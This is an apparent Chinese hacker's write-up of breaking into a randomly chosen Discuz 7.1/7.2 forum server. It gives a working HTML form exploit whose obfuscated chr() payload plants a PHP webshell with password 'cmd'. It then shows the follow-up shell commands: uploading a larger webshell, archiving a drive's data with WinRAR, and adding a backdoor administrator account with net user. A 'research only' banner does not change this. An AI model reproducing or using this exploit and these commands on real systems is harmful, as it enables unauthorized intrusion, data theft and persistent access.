Discuz7.1&7.2 Oday 入侵手记一则（拿服务器）

+++++++++++++++++++++++++++++++
+++++只做技术研究,不做破坏+++++
+++++++++++++++++++++++++++++++

Discuz7.1&7.2 Oday 入侵手记一则

===============================
1. baidu出来随便选择了一个http://www.xxxxxx.com；

2. 注册一个用户，然后使用EXP代码
<form method="post" action="   http://www.xxxxxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd
用工具提交大马上去，得到大马地址
http://www.xxxxxx.com/bbs/forumdata/cache/xNeko-php.php

3. 打开一看，文件挺多，是windows服务器，所有盘符都可以访问，并且是一个公司的主机服务器，放有很多网站

4. 如果要取服务器资料，有什么办法？
[+]所有盘符能访问，并且C盘权限为777，查看电脑安装的程序，有winrar，在shell上运行
"C:\Program Files\WinRAR\Rar.exe" a -k -r -s -m1 E:\xNeko\xNeko.rar E:\xNeko\，显示成功，查看真的备份了。

5. 如果要取得服务器权限呢？
[+]shell里面运行net user xNeko xNeko/add && net localgroup  administrators xNeko/add；
[+]shell里面运行netstat -an >E:\netstat.txt，查看端口，发现地址做了转换，是内部地址；